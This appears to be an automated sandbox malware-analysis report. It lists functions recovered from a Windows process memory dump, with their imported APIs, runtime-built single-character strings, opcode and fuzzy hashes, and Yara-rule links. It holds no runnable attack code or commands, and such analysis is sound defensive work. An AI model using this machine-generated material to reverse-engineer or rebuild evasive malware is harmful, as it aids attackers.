Function 00007FF70D701180, Relevance: 89.7, APIs: 4, Strings: 47, Instructions: 403libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D70128D
GetProcAddress.KERNEL32 ref: 00007FF70D701354
GetProcAddress.KERNEL32 ref: 00007FF70D701693

Part of subcall function 00007FF70D6F5EC0: GetProcAddress.KERNEL32 ref: 00007FF70D6F5F65

GetProcAddress.KERNEL32 ref: 00007FF70D701765

Strings

W, xrefs: 00007FF70D7011CC
u, xrefs: 00007FF70D701226
}{L, xrefs: 00007FF70D701557
y, xrefs: 00007FF70D701235
g, xrefs: 00007FF70D701203
V, xrefs: 00007FF70D70121C
z, xrefs: 00007FF70D701208
z, xrefs: 00007FF70D7016E3
k, xrefs: 00007FF70D7016E8
u, xrefs: 00007FF70D7016F7
#, xrefs: 00007FF70D7012FB
V, xrefs: 00007FF70D7016ED
s, xrefs: 00007FF70D7011FE
k, xrefs: 00007FF70D701715
x, xrefs: 00007FF70D7016F2
t, xrefs: 00007FF70D701217
z, xrefs: 00007FF70D7011C5
u, xrefs: 00007FF70D7011F4
l, xrefs: 00007FF70D7011EF
t, xrefs: 00007FF70D7011EA
{, xrefs: 00007FF70D7011D1
i, xrefs: 00007FF70D7016FC
y, xrefs: 00007FF70D70170B
k, xrefs: 00007FF70D701230
|, xrefs: 00007FF70D7014B0
]|@, xrefs: 00007FF70D701733
i, xrefs: 00007FF70D70122B
u, xrefs: 00007FF70D701212
k, xrefs: 00007FF70D701701
x, xrefs: 00007FF70D701221
k, xrefs: 00007FF70D7011D6
y, xrefs: 00007FF70D70123A
y, xrefs: 00007FF70D701706
{, xrefs: 00007FF70D7014C2
x, xrefs: 00007FF70D7011F9
s, xrefs: 00007FF70D70171A
T, xrefs: 00007FF70D7011BD
x, xrefs: 00007FF70D701724
O, xrefs: 00007FF70D7011E5
<yu, xrefs: 00007FF70D70131C
o, xrefs: 00007FF70D70120D
L, xrefs: 00007FF70D7014BD
@, xrefs: 00007FF70D7013B8
>, xrefs: 00007FF70D7012D8
u, xrefs: 00007FF70D70171F
S, xrefs: 00007FF70D701710
x, xrefs: 00007FF70D7011DB

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: #$<yu$>$@$L$O$S$T$V$V$W$]|@$g$i$i$k$k$k$k$k$l$o$s$s$t$t$u$u$u$u$u$x$x$x$x$x$y$y$y$y$z$z$z${${$|$}{L
API String ID: 190572456-919952344
Opcode ID: f08931f1e7df6a7737bb6f15078dedbca54524f6842f88a958ffad478df35503
Instruction ID: 72b308e850a4c987294129e44182ae9a3b65d0a4feba17538c3e7bd370f235da
Opcode Fuzzy Hash: f08931f1e7df6a7737bb6f15078dedbca54524f6842f88a958ffad478df35503
Instruction Fuzzy Hash: 6612D822A0C7C0C9E301D775E8447AEBFA1E756788F481069EBC95BB9ADB7DD044CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701800, Relevance: 89.6, APIs: 4, Strings: 47, Instructions: 395libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D70190D
GetProcAddress.KERNEL32 ref: 00007FF70D7019D4
GetProcAddress.KERNEL32 ref: 00007FF70D701D03

Part of subcall function 00007FF70D6F5EC0: GetProcAddress.KERNEL32 ref: 00007FF70D6F5F65

GetProcAddress.KERNEL32 ref: 00007FF70D701DD5

Strings

x, xrefs: 00007FF70D7018A1
]|@, xrefs: 00007FF70D701DA3
k, xrefs: 00007FF70D701856
u, xrefs: 00007FF70D701D8F
L, xrefs: 00007FF70D701B2D
y, xrefs: 00007FF70D701D7B
k, xrefs: 00007FF70D7018B0
u, xrefs: 00007FF70D7018A6
#, xrefs: 00007FF70D70197B
u, xrefs: 00007FF70D701D67
t, xrefs: 00007FF70D701897
s, xrefs: 00007FF70D70187E
>, xrefs: 00007FF70D701958
V, xrefs: 00007FF70D70189C
x, xrefs: 00007FF70D701D94
<yu, xrefs: 00007FF70D70199C
y, xrefs: 00007FF70D701D76
y, xrefs: 00007FF70D7018BA
x, xrefs: 00007FF70D701879
u, xrefs: 00007FF70D701874
T, xrefs: 00007FF70D70183D
k, xrefs: 00007FF70D701D58
k, xrefs: 00007FF70D701D85
}{L, xrefs: 00007FF70D701BC7
@, xrefs: 00007FF70D701A38
i, xrefs: 00007FF70D7018AB
{, xrefs: 00007FF70D701B32
t, xrefs: 00007FF70D70186A
i, xrefs: 00007FF70D701D6C
|, xrefs: 00007FF70D701B20
o, xrefs: 00007FF70D70188D
O, xrefs: 00007FF70D701865
z, xrefs: 00007FF70D701D53
s, xrefs: 00007FF70D701D8A
k, xrefs: 00007FF70D701D71
z, xrefs: 00007FF70D701888
y, xrefs: 00007FF70D7018B5
V, xrefs: 00007FF70D701D5D
u, xrefs: 00007FF70D701892
x, xrefs: 00007FF70D70185B
{, xrefs: 00007FF70D701851
l, xrefs: 00007FF70D70186F
W, xrefs: 00007FF70D70184C
S, xrefs: 00007FF70D701D80
z, xrefs: 00007FF70D701845
x, xrefs: 00007FF70D701D62
g, xrefs: 00007FF70D701883

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: #$<yu$>$@$L$O$S$T$V$V$W$]|@$g$i$i$k$k$k$k$k$l$o$s$s$t$t$u$u$u$u$u$x$x$x$x$x$y$y$y$y$z$z$z${${$|$}{L
API String ID: 190572456-919952344
Opcode ID: c9af91d2290fc55886fe7f5d8adbdb46048258189b3f54b5a641b50c249f3c55
Instruction ID: 7a15c1c9e3ceb6b2ec9fcb092393ff7fdfb2c3a4707c683d46ea3c1693871c8b
Opcode Fuzzy Hash: c9af91d2290fc55886fe7f5d8adbdb46048258189b3f54b5a641b50c249f3c55
Instruction Fuzzy Hash: F012C822A0C7C089E311D775E8047AEBFA1EB56788F441069EB895BB9ADF7DD044CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FDA40, Relevance: 86.1, APIs: 12, Strings: 37, Instructions: 354memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FDB0F
HeapAlloc.KERNEL32 ref: 00007FF70D6FDB20

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

lstrcatA.KERNEL32 ref: 00007FF70D6FDBDD
lstrcatA.KERNEL32 ref: 00007FF70D6FDBE9
GetProcAddress.KERNEL32 ref: 00007FF70D6FDC76
GetProcessHeap.KERNEL32 ref: 00007FF70D6FDCCE
HeapFree.KERNEL32 ref: 00007FF70D6FDCDC
GetProcessHeap.KERNEL32 ref: 00007FF70D6FDCF0
HeapFree.KERNEL32 ref: 00007FF70D6FDCFE
GetProcAddress.KERNEL32 ref: 00007FF70D6FDE73
GetProcAddress.KERNEL32 ref: 00007FF70D6FDF13
GetProcAddress.KERNEL32 ref: 00007FF70D6FDFB4

Strings

-, xrefs: 00007FF70D6FDB4B
j, xrefs: 00007FF70D6FDF5C
x, xrefs: 00007FF70D6FDC11
$, xrefs: 00007FF70D6FDB6E
^, xrefs: 00007FF70D6FDB69
t, xrefs: 00007FF70D6FDF61
i, xrefs: 00007FF70D6FDC2F
h, xrefs: 00007FF70D6FDB46
w, xrefs: 00007FF70D6FDC39
g, xrefs: 00007FF70D6FDF52
w, xrefs: 00007FF70D6FDC34
u, xrefs: 00007FF70D6FDF43
w, xrefs: 00007FF70D6FDF48
^, xrefs: 00007FF70D6FDB39
E, xrefs: 00007FF70D6FDC3E
v, xrefs: 00007FF70D6FDBFF
B, xrefs: 00007FF70D6FDB5A
H, xrefs: 00007FF70D6FDB55
;, xrefs: 00007FF70D6FDB5F
T, xrefs: 00007FF70D6FDF36
f, xrefs: 00007FF70D6FDF70
g, xrefs: 00007FF70D6FDC2A
T, xrefs: 00007FF70D6FDC1B
i, xrefs: 00007FF70D6FDC07
G, xrefs: 00007FF70D6FDBF7
|, xrefs: 00007FF70D6FDB64
E, xrefs: 00007FF70D6FDB41
v, xrefs: 00007FF70D6FDC20
e, xrefs: 00007FF70D6FDC0C
B, xrefs: 00007FF70D6FDB50
V, xrefs: 00007FF70D6FDF57
c, xrefs: 00007FF70D6FDF6B
g, xrefs: 00007FF70D6FDF66
o, xrefs: 00007FF70D6FDF4D
i, xrefs: 00007FF70D6FDC16
s, xrefs: 00007FF70D6FDC25
g, xrefs: 00007FF70D6FDF3E

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProc$Process$Freelstrcat$Alloc
String ID: $$-$;$B$B$E$E$G$H$T$T$V$^$^$c$e$f$g$g$g$g$h$i$i$i$j$o$s$t$u$v$v$w$w$w$x$|
API String ID: 313024814-812946735
Opcode ID: cf627ef5c0fa9726b356a958dbb16f75b65a8fc05baf12b86179dbc0ac6ca405
Instruction ID: 956347bbd68948c2f26472a032f5119895a29556f83f16baa4ecdc27bdf46de7
Opcode Fuzzy Hash: cf627ef5c0fa9726b356a958dbb16f75b65a8fc05baf12b86179dbc0ac6ca405
Instruction Fuzzy Hash: A602D812E0C7C189F711D779E8043AEAFA1AB56788F444169EB891BB9ADF7DD104CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E7D30, Relevance: 84.4, APIs: 21, Strings: 27, Instructions: 373memorystringlibraryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D6E7DFC
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E05
HeapAlloc.KERNEL32 ref: 00007FF70D6E7E14
lstrcpyA.KERNEL32 ref: 00007FF70D6E7E2A
lstrlenA.KERNEL32 ref: 00007FF70D6E7E36
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E76
HeapFree.KERNEL32 ref: 00007FF70D6E7E84

Part of subcall function 00007FF70D6E3320: GetProcAddress.KERNEL32 ref: 00007FF70D6E33A5

GetProcessHeap.KERNEL32 ref: 00007FF70D6E7F47
HeapFree.KERNEL32 ref: 00007FF70D6E7F55
lstrlenA.KERNEL32 ref: 00007FF70D6E7F70
GetProcAddress.KERNEL32 ref: 00007FF70D6E7FE3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8028
HeapFree.KERNEL32 ref: 00007FF70D6E8037

Strings

+, xrefs: 00007FF70D6E807A
T, xrefs: 00007FF70D6E8101
x, xrefs: 00007FF70D6E7D70
9, xrefs: 00007FF70D6E806B
c, xrefs: 00007FF70D6E7D7A
=, xrefs: 00007FF70D6E8075
a, xrefs: 00007FF70D6E7D6B
9, xrefs: 00007FF70D6E8089
I, xrefs: 00007FF70D6E80B1
[, xrefs: 00007FF70D6E8124
{, xrefs: 00007FF70D6E7D84
7, xrefs: 00007FF70D6E8106
1, xrefs: 00007FF70D6E808E
O, xrefs: 00007FF70D6E7EA3
>, xrefs: 00007FF70D6E80E3
A, xrefs: 00007FF70D6E7D7F
], xrefs: 00007FF70D6E7D66
2, xrefs: 00007FF70D6E8093
Q, xrefs: 00007FF70D6E8129
, xrefs: 00007FF70D6E8070
;, xrefs: 00007FF70D6E812E
q, xrefs: 00007FF70D6E7D89
C, xrefs: 00007FF70D6E80AC
q, xrefs: 00007FF70D6E8098
3, xrefs: 00007FF70D6E8084
u, xrefs: 00007FF70D6E7D75
, xrefs: 00007FF70D6E80B6

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Freelstrlen$AddressProc$Alloclstrcpy
String ID: $ $+$1$2$3$7$9$9$;$=$>$A$C$I$O$Q$T$[$]$a$c$q$q$u$x${
API String ID: 945123263-3064513995
Opcode ID: 228268364bac477e46d4e891f33521ee80e407ae7509635f6b4b573e1e88717d
Instruction ID: 20bf21cbbe401a130f1255bce27292c0213edc37a54f7b0f60b9c78bff1201b2
Opcode Fuzzy Hash: 228268364bac477e46d4e891f33521ee80e407ae7509635f6b4b573e1e88717d
Instruction Fuzzy Hash: 2B02C912A0C7C188F711D779E8043AEAFA1AB5678CF580169DB8917B9AEF7DD108C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6ED040, Relevance: 82.5, APIs: 13, Strings: 34, Instructions: 284memorylibrarystringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF70D6ED142
GetProcAddress.KERNEL32 ref: 00007FF70D6ED1F8
GetProcessHeap.KERNEL32 ref: 00007FF70D6ED22A
HeapAlloc.KERNEL32 ref: 00007FF70D6ED238

Strings

`, xrefs: 00007FF70D6ED369
m, xrefs: 00007FF70D6ED1B2
t, xrefs: 00007FF70D6ED16C
], xrefs: 00007FF70D6ED18F
~, xrefs: 00007FF70D6ED171
|, xrefs: 00007FF70D6ED35F
`, xrefs: 00007FF70D6ED373
x, xrefs: 00007FF70D6ED355
x, xrefs: 00007FF70D6ED176
`, xrefs: 00007FF70D6ED19E
`, xrefs: 00007FF70D6ED1A8
m, xrefs: 00007FF70D6ED37D
x, xrefs: 00007FF70D6ED341
}, xrefs: 00007FF70D6ED346
~, xrefs: 00007FF70D6ED33C
|, xrefs: 00007FF70D6ED194
F, xrefs: 00007FF70D6ED32F
M, xrefs: 00007FF70D6ED34B
], xrefs: 00007FF70D6ED35A
`, xrefs: 00007FF70D6ED364
t, xrefs: 00007FF70D6ED337
`, xrefs: 00007FF70D6ED199
g, xrefs: 00007FF70D6ED1AD
M, xrefs: 00007FF70D6ED180
F, xrefs: 00007FF70D6ED15C
F, xrefs: 00007FF70D6ED327
t, xrefs: 00007FF70D6ED1A3
x, xrefs: 00007FF70D6ED18A
F, xrefs: 00007FF70D6ED164
n, xrefs: 00007FF70D6ED185
}, xrefs: 00007FF70D6ED17B
g, xrefs: 00007FF70D6ED378
t, xrefs: 00007FF70D6ED36E
n, xrefs: 00007FF70D6ED350

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressAllocProcProcesslstrcpy
String ID: F$F$F$F$M$M$]$]$`$`$`$`$`$`$g$g$m$m$n$n$t$t$t$t$x$x$x$x$|$|$}$}$~$~
API String ID: 1703640390-1223005755
Opcode ID: 650b01465b7657807243ce9f3db9c5b1b214b900bdeed76c1f37aff78e7364d7
Instruction ID: b8edca3ce7c1a782f7bc1a6ba08532b2c5b209b41f0ccf9d202e45a011f93f80
Opcode Fuzzy Hash: 650b01465b7657807243ce9f3db9c5b1b214b900bdeed76c1f37aff78e7364d7
Instruction Fuzzy Hash: 1CD19226A1C7C189E710DB75E8003AEBBA1EF59788F541029EB8C97B99EF7DD004CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E1EF0, Relevance: 75.6, APIs: 19, Strings: 24, Instructions: 370stringmemorylibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E2002
GetProcAddress.KERNEL32 ref: 00007FF70D6E2198
lstrcmpW.KERNEL32 ref: 00007FF70D6E21C9
lstrlenW.KERNEL32 ref: 00007FF70D6E21DE
lstrlenW.KERNEL32 ref: 00007FF70D6E21EA
GetProcessHeap.KERNEL32 ref: 00007FF70D6E21FB
HeapAlloc.KERNEL32 ref: 00007FF70D6E2209
lstrcpyW.KERNEL32 ref: 00007FF70D6E2281
wsprintfW.USER32 ref: 00007FF70D6E2299
lstrlenW.KERNEL32 ref: 00007FF70D6E22AE
lstrlenW.KERNEL32 ref: 00007FF70D6E22BD
lstrlenW.KERNEL32 ref: 00007FF70D6E22C8
lstrlenW.KERNEL32 ref: 00007FF70D6E22D4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E22E5
HeapAlloc.KERNEL32 ref: 00007FF70D6E22F3
lstrcpyW.KERNEL32 ref: 00007FF70D6E23A1
wsprintfW.USER32 ref: 00007FF70D6E23C6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E23FC
HeapFree.KERNEL32 ref: 00007FF70D6E240A

Strings

_, xrefs: 00007FF70D6E1F32
:, xrefs: 00007FF70D6E1F74
p, xrefs: 00007FF70D6E1F6A
@, xrefs: 00007FF70D6E20FA
), xrefs: 00007FF70D6E20DB
b, xrefs: 00007FF70D6E20E3
s, xrefs: 00007FF70D6E1F6F
S, xrefs: 00007FF70D6E2104
m, xrefs: 00007FF70D6E1F47
s, xrefs: 00007FF70D6E1F56
a, xrefs: 00007FF70D6E1F79
_, xrefs: 00007FF70D6E1F42
5, xrefs: 00007FF70D6E20F5
O, xrefs: 00007FF70D6E20F0
F, xrefs: 00007FF70D6E1F4C
:, xrefs: 00007FF70D6E1F51
@, xrefs: 00007FF70D6E1F7E
d, xrefs: 00007FF70D6E1F3A
a, xrefs: 00007FF70D6E1F65
S, xrefs: 00007FF70D6E20EB
F, xrefs: 00007FF70D6E1F5B
q, xrefs: 00007FF70D6E1F60
|, xrefs: 00007FF70D6E2109
F, xrefs: 00007FF70D6E1F83

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heaplstrlen$Process$AddressAllocProclstrcpywsprintf$Freelstrcmp
String ID: )$5$:$:$@$@$F$F$F$O$S$S$_$_$a$a$b$d$m$p$q$s$s$|
API String ID: 3133956148-3487463752
Opcode ID: 8a389412f071da3de2dab9130c1771d51389e0aa474af5ebdf32f4e8661d7d57
Instruction ID: e4a50d60e8debbdb021809192fc1250f02b42385d2d7d7ce6ab83b4f77b3bc11
Opcode Fuzzy Hash: 8a389412f071da3de2dab9130c1771d51389e0aa474af5ebdf32f4e8661d7d57
Instruction Fuzzy Hash: 53F1E126B1C78189E700DB79D8143AD6B72EB98B8CF845125EE4D9BB99EF3DD109C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E72E0, Relevance: 70.4, APIs: 21, Strings: 19, Instructions: 358memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E73CA
HeapFree.KERNEL32 ref: 00007FF70D6E73D8
GetProcAddress.KERNEL32 ref: 00007FF70D6E7473
GetProcAddress.KERNEL32 ref: 00007FF70D6E7513
GetProcessHeap.KERNEL32 ref: 00007FF70D6E751F

Part of subcall function 00007FF70D6F5700: GetProcAddress.KERNEL32 ref: 00007FF70D6F5775

lstrlenA.KERNEL32 ref: 00007FF70D6E75E3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E75F0
HeapAlloc.KERNEL32 ref: 00007FF70D6E75FE
lstrcpyA.KERNEL32 ref: 00007FF70D6E7614
lstrlenA.KERNEL32 ref: 00007FF70D6E76B4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E76C1
HeapAlloc.KERNEL32 ref: 00007FF70D6E76CF
lstrlenA.KERNEL32 ref: 00007FF70D6E7764
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7771
HeapAlloc.KERNEL32 ref: 00007FF70D6E777F
lstrcpyA.KERNEL32 ref: 00007FF70D6E7796
lstrlenA.KERNEL32 ref: 00007FF70D6E77D6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7832
HeapFree.KERNEL32 ref: 00007FF70D6E7840
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7846
HeapFree.KERNEL32 ref: 00007FF70D6E7854

Strings

Y, xrefs: 00007FF70D6E7703
?, xrefs: 00007FF70D6E7646
C, xrefs: 00007FF70D6E76EC
Z, xrefs: 00007FF70D6E7708
P, xrefs: 00007FF70D6E76FE
;, xrefs: 00007FF70D6E764B
V, xrefs: 00007FF70D6E7678
b, xrefs: 00007FF70D6E765A
/, xrefs: 00007FF70D6E763C
7, xrefs: 00007FF70D6E7664
;, xrefs: 00007FF70D6E7634
G, xrefs: 00007FF70D6E76F4
u, xrefs: 00007FF70D6E7673
+, xrefs: 00007FF70D6E7669
|, xrefs: 00007FF70D6E7655
<, xrefs: 00007FF70D6E7650
], xrefs: 00007FF70D6E76F9
,, xrefs: 00007FF70D6E7641
1, xrefs: 00007FF70D6E766E

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$lstrlen$AddressAllocFreeProc$lstrcpy
String ID: +$,$/$1$7$;$;$<$?$C$G$P$V$Y$Z$]$b$u$|
API String ID: 261458475-1932992641
Opcode ID: d139c00ca7553c9b24ded2d6c4e017e0d031162085274829d8f3f4d5c2ca54b8
Instruction ID: 655433837569742c843daa6237c3ba0916d6390a4ddcd8ad4f6c066b8de32caf
Opcode Fuzzy Hash: d139c00ca7553c9b24ded2d6c4e017e0d031162085274829d8f3f4d5c2ca54b8
Instruction Fuzzy Hash: 9E028412E0C7C189F711D7B5E8043AE7BA2AB5A78CF440169DE8D17B8AEF7D9109C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3A10, Relevance: 58.8, APIs: 13, Strings: 26, Instructions: 250memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EF810: GetProcAddress.KERNEL32 ref: 00007FF70D6EF8C3
Part of subcall function 00007FF70D6EF810: lstrcpynW.KERNEL32 ref: 00007FF70D6EF909

wsprintfA.USER32 ref: 00007FF70D6E3C30
lstrcmpA.KERNEL32 ref: 00007FF70D6E3C6C
lstrlenA.KERNEL32 ref: 00007FF70D6E3CA3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3CB0
HeapAlloc.KERNEL32 ref: 00007FF70D6E3CBE
lstrcpyA.KERNEL32 ref: 00007FF70D6E3CD5
lstrcmpA.KERNEL32 ref: 00007FF70D6E3D3E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3D72
HeapFree.KERNEL32 ref: 00007FF70D6E3D80
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3DA5
HeapFree.KERNEL32 ref: 00007FF70D6E3DB3

Part of subcall function 00007FF70D6EEA40: GetProcAddress.KERNEL32 ref: 00007FF70D6EEB25

GetProcessHeap.KERNEL32 ref: 00007FF70D6E3DDB
HeapFree.KERNEL32 ref: 00007FF70D6E3DEB

Strings

=, xrefs: 00007FF70D6E3B93
l, xrefs: 00007FF70D6E3B48
$, xrefs: 00007FF70D6E3B6B
g, xrefs: 00007FF70D6E3B8E
1, xrefs: 00007FF70D6E3B98
!, xrefs: 00007FF70D6E3BBB
c, xrefs: 00007FF70D6E3BA2
%, xrefs: 00007FF70D6E3B66
y, xrefs: 00007FF70D6E3B89
q, xrefs: 00007FF70D6E3BB1
9, xrefs: 00007FF70D6E3BC0
o, xrefs: 00007FF70D6E3BB6
3, xrefs: 00007FF70D6E3B61
), xrefs: 00007FF70D6E3B70
r, xrefs: 00007FF70D6E3B52
w, xrefs: 00007FF70D6E3B57
=, xrefs: 00007FF70D6E3BAC
!, xrefs: 00007FF70D6E3B7F
h, xrefs: 00007FF70D6E3BC5
q, xrefs: 00007FF70D6E3B4D
5, xrefs: 00007FF70D6E3B84
{, xrefs: 00007FF70D6E3B5C
}, xrefs: 00007FF70D6E3B9D
{, xrefs: 00007FF70D6E3B7A
e, xrefs: 00007FF70D6E3B75
9, xrefs: 00007FF70D6E3BA7

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AddressProclstrcmp$Alloclstrcpylstrcpynlstrlenwsprintf
String ID: !$!$$$%$)$1$3$5$9$9$=$=$c$e$g$h$l$o$q$q$r$w$y${${$}
API String ID: 2581306793-3408093060
Opcode ID: c5ba478051f6fb5159f1ddd7067d042adf3fd0c36f3cd88b702d529e19acca69
Instruction ID: b007d98165b568a0b469a0ad081b85af4097bd221a2294bfda6382a4e410e903
Opcode Fuzzy Hash: c5ba478051f6fb5159f1ddd7067d042adf3fd0c36f3cd88b702d529e19acca69
Instruction Fuzzy Hash: BEC1D722A0C7C185E711DB69E8443AEBBA1FF99788F940135EA8D47799EF7DD048C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E85D0, Relevance: 40.4, APIs: 15, Strings: 8, Instructions: 180memoryCOMMON

Download Yara Rule

APIs

StrDupA.SHLWAPI ref: 00007FF70D6E85F9
StrTrimA.SHLWAPI ref: 00007FF70D6E8641
StrPBrkA.SHLWAPI ref: 00007FF70D6E867E
StrSpnA.SHLWAPI ref: 00007FF70D6E86FE
StrPBrkA.SHLWAPI ref: 00007FF70D6E870E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8726
HeapAlloc.KERNEL32 ref: 00007FF70D6E8734
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8742
HeapFree.KERNEL32 ref: 00007FF70D6E8750
GetProcessHeap.KERNEL32 ref: 00007FF70D6E87D7
HeapFree.KERNEL32 ref: 00007FF70D6E87E5
GetProcessHeap.KERNEL32 ref: 00007FF70D6E87FF
HeapFree.KERNEL32 ref: 00007FF70D6E880D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8815
HeapFree.KERNEL32 ref: 00007FF70D6E8823

Strings

8, xrefs: 00007FF70D6E864D
~, xrefs: 00007FF70D6E85FF
o, xrefs: 00007FF70D6E86C7
), xrefs: 00007FF70D6E8696
`, xrefs: 00007FF70D6E8770
A, xrefs: 00007FF70D6E8777
_, xrefs: 00007FF70D6E8605
P, xrefs: 00007FF70D6E86CB

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AllocTrim
String ID: )$8$A$P$_$`$o$~
API String ID: 114204503-535030677
Opcode ID: 1a0da2bfba1ff9d7c0110465c8c2c5237e9eedc413a57e5c053303f271c32665
Instruction ID: 8177086a6261264f59a9e0231cc63f69151cab535f8681809248c52da55b8291
Opcode Fuzzy Hash: 1a0da2bfba1ff9d7c0110465c8c2c5237e9eedc413a57e5c053303f271c32665
Instruction Fuzzy Hash: C671D366E0C79289EB01DB76A8542BD7BA1BF4EB88F841574DE4923B45EF3C91498320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E7870, Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 319memorystringlibraryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D6E78EB
GetProcessHeap.KERNEL32 ref: 00007FF70D6E78F4
HeapAlloc.KERNEL32 ref: 00007FF70D6E7903
lstrcpyA.KERNEL32 ref: 00007FF70D6E7918
lstrlenA.KERNEL32 ref: 00007FF70D6E7924
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7964
HeapFree.KERNEL32 ref: 00007FF70D6E7972

Part of subcall function 00007FF70D6E3320: GetProcAddress.KERNEL32 ref: 00007FF70D6E33A5

GetProcessHeap.KERNEL32 ref: 00007FF70D6E7A26
HeapFree.KERNEL32 ref: 00007FF70D6E7A34
lstrlenA.KERNEL32 ref: 00007FF70D6E7A4F
GetProcAddress.KERNEL32 ref: 00007FF70D6E7AC3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7B08
HeapFree.KERNEL32 ref: 00007FF70D6E7B17

Strings

g, xrefs: 00007FF70D6E7B43

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Freelstrlen$AddressProc$Alloclstrcpy
String ID: g
API String ID: 945123263-30677878
Opcode ID: 9e7b2f86ba0287c8c106ba63ed63be9e7bcfa0a7fa8afe2f13a0b56d61b4ba38
Instruction ID: 6cc0b786521e81f4ea57a3fca61973510824085f3c94e171f5b490b463c29c42
Opcode Fuzzy Hash: 9e7b2f86ba0287c8c106ba63ed63be9e7bcfa0a7fa8afe2f13a0b56d61b4ba38
Instruction Fuzzy Hash: B3E19052F0C7C289F711D7B5A8142ED6BA2AF1A78CF844179DE4D17B8AEF7D91098320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EDE80, Relevance: 35.4, APIs: 14, Strings: 6, Instructions: 450memorylibrarystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE101
HeapAlloc.KERNEL32 ref: 00007FF70D6EE112
lstrcpyA.KERNEL32 ref: 00007FF70D6EE12C
lstrcatA.KERNEL32 ref: 00007FF70D6EE139
GetProcAddress.KERNEL32 ref: 00007FF70D6EE201

Part of subcall function 00007FF70D6ED980: GetProcAddress.KERNEL32 ref: 00007FF70D6EDA51

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE260
HeapAlloc.KERNEL32 ref: 00007FF70D6EE26E
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE2A1
HeapFree.KERNEL32 ref: 00007FF70D6EE2AF

Part of subcall function 00007FF70D6E1220: LoadLibraryA.KERNEL32 ref: 00007FF70D6E12B4
Part of subcall function 00007FF70D6E1220: LoadLibraryA.KERNEL32 ref: 00007FF70D6E1371

Part of subcall function 00007FF70D703678: EnterCriticalSection.KERNEL32 ref: 00007FF70D703688
Part of subcall function 00007FF70D703678: LeaveCriticalSection.KERNEL32 ref: 00007FF70D7036C8

Part of subcall function 00007FF70D6F6920: GetProcAddress.KERNEL32 ref: 00007FF70D6F69C4

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE2C6
HeapFree.KERNEL32 ref: 00007FF70D6EE2D4
